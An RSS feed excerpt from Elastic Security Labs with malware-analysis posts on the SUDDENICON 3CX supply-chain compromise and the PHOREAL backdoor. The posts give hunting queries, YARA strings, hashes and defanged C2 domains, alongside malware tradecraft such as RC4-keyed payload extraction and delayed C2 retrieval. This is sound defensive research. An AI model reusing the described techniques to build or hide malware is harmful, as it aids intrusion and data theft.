<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_dll_loaded_from_a_macro_enabled_document.toml">DLL Loaded from a Macro Enabled Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_process_creation_via_microsoft_office_add_ins.toml">Process Creation via Microsoft Office Add-Ins</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_registry_or_file_modification_from_suspicious_memory.toml">Registry or File Modification from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_ntdll_memory_unhooking.toml">Potential NTDLL Memory Unhooking</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_microsoft_common_language_runtime_loaded_from_suspicious_memory.toml">Microsoft Common Language Runtime Loaded from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_common_language_runtime_loaded_via_an_unsigned_module.toml">Common Language Runtime Loaded via an Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_image_load_via_ldrloaddll.toml">Suspicious Image Load via LdrLoadDLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_library_loaded_via_a_callback_function.toml">Library Loaded via a CallBack Function</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_modified_ntdll.toml">Process Creation from Modified NTDLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_dll_side_loading_via_a_copied_microsoft_executable.toml">DLL Side Loading via a Copied Microsoft Executable</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_the_console_window_class.toml">Potential Injection via the Console Window Class</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_unsigned_dll_loaded_by_a_trusted_process.toml">Suspicious Unsigned DLL Loaded by a Trusted Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_stared_via_remote_thread.toml">Process Started via Remote Thread</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_dotnet_debugging.toml">Potential Injection via DotNET Debugging</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_shellcode.toml">Potential Process Creation via ShellCode</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_module_stomping_form_a_copied_library.toml">Module Stomping form a Copied Library</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_a_stomped_module.toml">Process Creation from a Stomped Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parallel_ntdll_loaded_from_unbacked_memory.toml">Parallel NTDLL Loaded from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml">Potential Operation via Direct Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_direct_syscall.toml">Potential Process Creation via Direct Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_from_archive_or_removable_media_via_unbacked_code.toml">Process from Archive or Removable Media via Unbacked Code</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_console_execution_from_unbacked_memory.toml">Windows Console Execution from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_unbacked_memory_via_unsigned_parent.toml">Process Creation from Unbacked Memory via Unsigned Parent</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/blog-thumb-coin-stacks.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic users protected from SUDDENICON’s supply chain attack]]></title>
            <link>https://www.elastic.co/es/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack</link>
            <guid>elastic-users-protected-from-suddenicon-supply-chain-attack</guid>
            <pubDate>Fri, 05 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users.]]></description>
            <content:encoded><![CDATA[<h1>Key takeaways</h1>
<ul>
<li>Elastic users are protected from supply chain attacks targeting the 3CX users</li>
<li>How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams</li>
<li>Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists</li>
</ul>
<h1>Preamble</h1>
<p>On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users <a href="https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/">as detailed in a Reddit post</a>. Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 <a href="https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign">as reported by Todyl</a>.</p>
<p><a href="https://www.3cx.com/company/customers/">3CX states</a> it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.</p>
<p>In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware</p>
<h1>SUDDENICON triage analysis</h1>
<p>The 3CXDesktopApp <a href="https://www.virustotal.com/gui/file/aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868">installer MSI</a> appears to contain malicious code which waits seven days post-installation before downloading additional files from <a href="https://github.com/IconStorages/images">GitHub</a> and communicating with malicious command-and-control domains. The client application writes <code>ffmpeg.dll</code> and <code>d3dcompiler\_47.dll</code> to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that <code>ffmpeg.dll</code> and <code>d3dcompiler\_47.dll</code> are both legitimate file names and rules should not be created on them alone.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image1.jpg" alt="ffmpeg.dll referencing the d3dcompiler_47.dll file" /></p>
<p>The <code>ffmpeg.dll</code> binary extracts SUDDENICON from <code>d3dcompiler\_47.dll</code> by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (<code>3jB(2bsG#@c7</code>). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a">associated with DPRK</a>. Upon successfully executing, this shellcode stub writes a new file ( <code>manifest</code> ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image3.jpg" alt="ffmpeg.dll loading the d3dcompiler_47.dll file" /></p>
<p>C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the <a href="https://github.com/IconStorages">IconStorages Github repository</a> (this repository has been removed by Github). This repo was created by GitHub ID <code>120072117</code> on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image5.png" alt="SUDDENICON downloading a new executable" /></p>
<p>Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.</p>
<p>The CEO of 3CX has <a href="https://www.3cx.com/community/threads/3cx-desktopapp-security-alert.119951/">recommended uninstalling the software</a>; a small number of <a href="https://www.3cx.com/community/forums">community forum</a> posts outline how security tooling is reacting to potential malware behaviors, and <a href="https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/">CrowdStrike</a> and <a href="https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/">SentinelOne</a> have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.</p>
<h1>Detection logic</h1>
<h2>Prevention</h2>
<ul>
<li>Memory Threat Detection Alert: Shellcode injection</li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar">Windows.Trojan.SuddenIcon</a></li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image4.jpg" alt="Memory Threat Detection Alert: Shellcode injection" /></p>
<h2>Hunting queries</h2>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h2>KQL queries</h2>
<p>The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:</p>
<p><code>process.name : &quot;3CXDesktopApp.exe&quot; and dns.question.name : &quot;raw.githubusercontent.com&quot;</code></p>
<p>The following KQL query can be used to identify several host-based indicators of this activity:</p>
<p><code>dll.hash.sha256  : &quot;7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896&quot; or dll.hash.sha256 :  &quot;c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02&quot;</code></p>
<h2>EQL queries</h2>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.</p>
<p>The following EQL query can be used to profile 3CX software and child software:</p>
<p><code>any where process.code_signature.subject_name == &quot;3CX Ltd&quot; or process.parent.code_signature.subject_name == &quot;3CX Ltd&quot;</code></p>
<p>The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:</p>
<p><code>network where process.code_signature.subject_name == &quot;3CX Ltd&quot; and dns.question.name == “raw.githubusercontent.com”</code></p>
<p>The following EQL query can be used to identify files written by the 3CXDesktopApp client:</p>
<p><code>file where event.type == &quot;creation&quot; and (host.os.type == &quot;windows&quot; and file.path : &quot;*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*&quot; and file.name : (&quot;manifest&quot;)) or (host.os.type == &quot;macos&quot; and file.path : &quot;*/Library/Application Support/3CX Desktop App/&quot; and file.name : (&quot;UpdateAgent&quot;, &quot;.main_storage&quot;, &quot;.session-lock&quot;)</code></p>
<p>The following EQL query can be used to identify several host-based indicators of this activity:</p>
<p><code>sequence by host.name, process.entity_id[process where process.code_signature.subject_name:&quot;3CX Ltd&quot;][library where dll.hash.sha256:&quot;c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02&quot;,&quot;7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896&quot;][network where dns.question.name:&quot;raw.githubusercontent.com&quot;]</code></p>
<p>The following EQL query can be used to identify this activity if the DLL is updated:</p>
<p><code>library where process.code_signature.subject_name : &quot;3CX Ltd&quot; and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))</code></p>
<h2>YARA</h2>
<p>Elastic Security Labs has released <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar">two YARA signatures</a> for the malicious shellcode, which we refer to as SUDDENICON.</p>
<h2>Defensive recommendations</h2>
<p>Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image2.jpg" alt="Enabling the Memory threat protection feature in Prevent mode" /></p>
<h1>References</h1>
<p>The following were referenced throughout the above research: - <a href="https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/">https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/</a> - <a href="https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/">https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/</a> - <a href="https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign">https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign</a></p>
<h1>Indicators</h1>
<h2>Potentially malicious domains</h2>
<p>Bold domains indicate that they were observed in our analysis.</p>
<ul>
<li>akamaicontainer[.]com</li>
<li>akamaitechcloudservices[.]com</li>
<li><code>azuredeploystore[.]com</code></li>
<li>azureonlinecloud[.]com</li>
<li>azureonlinestorage[.]com</li>
<li>dunamistrd[.]com</li>
<li>glcloudservice[.]com</li>
<li>journalide[.]org</li>
<li><code>msedgepackageinfo[.]com</code></li>
<li>msstorageazure[.]com</li>
<li><code>msstorageboxes[.]com</code></li>
<li><code>officeaddons[.]com</code></li>
<li><code>officestoragebox[.]com</code></li>
<li>pbxcloudeservices[.]com</li>
<li>pbxphonenetwork[.]com</li>
<li>pbxsources[.]com</li>
<li>qwepoi123098[.]com</li>
<li>sbmsa[.]wiki</li>
<li><code>sourceslabs[.]com</code></li>
<li><code>visualstudiofactory[.]com</code></li>
<li><code>zacharryblogs[.]com</code></li>
</ul>
<h1>Potentially impacted 3CXDesktopApp versions and hashes:</h1>
<p>Client hash: <code>dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc</code> OS: Windows Installer hash: <code>aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868</code> Installer filename: <code>3cxdesktopapp-18.12.407.msi</code></p>
<p>Client hash: <code>fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405</code> OS: Windows Installer hash: <code>59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983</code> Installer filename: <code>3cxdesktopapp-18.12.416.msi</code></p>
<p>Client hash: <code>92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61</code> OS: macOS Installer hash: <code>5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290</code> Installer filename: <code>3CXDesktopApp-18.11.1213.dmg</code></p>
<p>Client hash: <code>b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb</code> OS: macOS Installer hash: <code>e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec</code> Installer filename: <code>3cxdesktopapp-latest.dmg</code></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/photo-edited-06@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PHOREAL Malware Targets the Southeast Asian Financial Sector]]></title>
            <link>https://www.elastic.co/es/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</link>
            <guid>phoreal-malware-targets-the-southeast-asian-financial-sector</guid>
            <pubDate>Thu, 02 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security discovered PHOREAL malware, which is targeting Southeast Asia financial organizations, particularly those in the Vietnamese financial sector.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.</p>
<h3>What is the threat?</h3>
<p>PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).</p>
<h3>What is the impact?</h3>
<p>APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.</p>
<h3>What is Elastic doing about it?</h3>
<p>Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.</p>
<h2>Investigation Details</h2>
<p>While conducting Threat Discovery &amp; Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.</p>
<p>Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.</p>
<blockquote>
<p>You can read more about Elastic Security’s memory protections <a href="https://www.elastic.co/es/blog/whats-new-elastic-security-7-15-0#:~:text=Memory%20threat%20protection%20for%20Windows%20endpoints">HERE</a> and about in-memory attacks <a href="https://www.elastic.co/es/blog/hunting-memory">HERE</a>.</p>
</blockquote>
<p>With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:</p>
<p><strong>Targeted process is a signed Windows binary</strong></p>
<pre><code>...
&quot;process&quot;: {
     &quot;args&quot;: [
       &quot;control.exe&quot;,
       &quot;Firewall.cpl&quot;,
       &quot;{2D48D219-C306-4349-AE1F-09744DFFB5B9}&quot;
     ],
     &quot;Ext&quot;: {
       &quot;code_signature&quot;: [
         {
           &quot;trusted&quot;: true,
           &quot;subject_name&quot;: &quot;Microsoft Windows&quot;,
           &quot;exists&quot;: true,
           &quot;status&quot;: &quot;trusted&quot;
         }
       ],
       &quot;dll&quot;: [
...

</code></pre>
<p><strong>Unsigned loaded .dll</strong></p>
<pre><code>...
   &quot;Ext&quot;: {
     &quot;mapped_address&quot;: 1945501696,
     &quot;mapped_size&quot;: 21135360
   },
   &quot;path&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
   &quot;code_signature&quot;: [
     {
       &quot;exists&quot;: false
     }
   ],
   &quot;name&quot;: &quot;tscon32.dll&quot;,
   &quot;hash&quot;: {
     &quot;sha1&quot;: &quot;007970b7a42852b55379ef4cffa4475865c69d48&quot;,
     &quot;sha256&quot;: &quot;ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33&quot;,
     &quot;md5&quot;: &quot;2b6da20e4fc1af2c5dd5c6f6191936d1&quot;
   }
 },
...

</code></pre>
<p><strong>Starting module from the alerting thread</strong></p>
<pre><code>...
 &quot;pe&quot;: {
   &quot;original_file_name&quot;: &quot;CONTROL.EXE&quot;
 },
 &quot;name&quot;: &quot;control.exe&quot;,
 &quot;pid&quot;: 5284,
 &quot;thread&quot;: {
   &quot;Ext&quot;: {
     &quot;start_address_module&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
...

</code></pre>
<p><strong>Alerting memory region metadata</strong></p>
<pre><code>...
&quot;memory_region&quot;: {`
   &quot;region_size&quot;: 73728,
   &quot;region_protection&quot;: &quot;RWX&quot;,
   &quot;allocation_base&quot;: 81395712,
   &quot;bytes_allocation_offset&quot;: 0,
   &quot;allocation_type&quot;: &quot;PRIVATE&quot;,
   &quot;memory_pe_detected&quot;: true,
   &quot;region_state&quot;: &quot;COMMIT&quot;,
   &quot;strings&quot;: [
     &quot;QSSSSSSh &quot;,
     ...
     &quot;bad cast&quot;,
     &quot;Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;,
     &quot;Netapi32.dll&quot;,
     &quot;NetWkstaGetInfo&quot;,
     &quot;NetApiBufferFree&quot;,
     &quot;\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;,
     &quot;list&lt;T&gt; too long&quot;,
     &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;,
     &quot;DllEntry&quot;,
     ...
     &quot;.?AVbad_alloc@std@@&quot;,
     &quot;C:\\Windows\\syswow64\\control.exe&quot;,
     &quot;:z:zzzzzz7&quot;,
     ...
     &quot;InternalName&quot;,
     &quot;mobsync.exe&quot;,
     &quot;LegalCopyright&quot;,
...

</code></pre>
<p><strong>Thread data for pivoting</strong></p>
<pre><code>...
&quot;thread&quot;: {
 &quot;Ext&quot;: {
   &quot;start_address_bytes&quot;: &quot;8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300&quot;,
   ...
   &quot;start_address_bytes_disasm&quot;: &quot;mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]&quot;
 },
...

</code></pre>
<p>From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.</p>
<p>Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included <a href="https://www.virustotal.com/gui/file/88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de">the below entry</a> first submitted in July 2021.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_matching_start_address_bytes_.jpg" alt="VT result matching start_address_bytes" /></p>
<p>In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (<a href="https://twitter.com/fxb_b">@fxb_b</a>) authored a crowdsourced YARA rule identifying this as the <a href="https://attack.mitre.org/software/S0158/">PHOREAL</a> backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_CONTENT_tab.jpg" alt="VT result CONTENT tab" /></p>
<p>Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.</p>
<p><strong>Converted YARA strings</strong></p>
<pre><code>strings:
          \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

</code></pre>
<p>This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our <a href="https://www.elastic.co/es/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Collecting Cobalt Strike Beacons</a> article.</p>
<p>Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an <a href="https://docs.microsoft.com/en-us/windows/win32/menurc/rcdata-resource">RCDATA resource</a> as described in a <a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">2018 CYLANCE OceanLotus whitepaper</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/RC4_decrypting_binary_embedded_URL.jpg" alt="RC4 decrypting binary embedded URL" /></p>
<p>The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.</p>
<p><strong><a href="https://ipinfo.io/">https://ipinfo.io/</a> query results for 103.75.117[.]250</strong></p>
<pre><code>{
  &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
  &quot;city&quot;: &quot;Hong Kong&quot;,
  &quot;region&quot;: &quot;Central and Western&quot;,
  &quot;country&quot;: &quot;HK&quot;,
  &quot;loc&quot;: &quot;22.2783,114.1747&quot;,
  &quot;org&quot;: &quot;AS133752 Leaseweb Asia Pacific pte. ltd.&quot;,
  &quot;timezone&quot;: &quot;Asia/Hong_Kong&quot;,
  &quot;asn&quot;: {
    &quot;asn&quot;: &quot;AS133752&quot;,
    &quot;name&quot;: &quot;Leaseweb Asia Pacific pte. ltd.&quot;,
    &quot;domain&quot;: &quot;leaseweb.com&quot;,
    &quot;route&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;company&quot;: {
    &quot;name&quot;: &quot;Oneprovider.com - Hong Kong Infrastructure&quot;,
    &quot;domain&quot;: &quot;oneprovider[.]com&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;privacy&quot;: {
    &quot;vpn&quot;: false,
    &quot;proxy&quot;: false,
    &quot;tor&quot;: false,
    &quot;relay&quot;: false,
    &quot;hosting&quot;: true,
    &quot;service&quot;: &quot;&quot;
  },
  &quot;abuse&quot;: {
    &quot;address&quot;: &quot;1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada&quot;,
    &quot;country&quot;: &quot;CA&quot;,
    &quot;email&quot;: &quot;info@oneprovider.com&quot;,
    &quot;name&quot;: &quot;ONE PROVIDER&quot;,
    &quot;network&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;phone&quot;: &quot;+1 514 286-0253&quot;
  },
  &quot;domains&quot;: {
    &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
    &quot;total&quot;: 2,
    &quot;domains&quot;: [
      &quot;thelivemusicgroup[.]com&quot;,
      &quot;cdn-api-cn-1[.]com&quot;
    ]
  }

</code></pre>
<p>Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.</p>
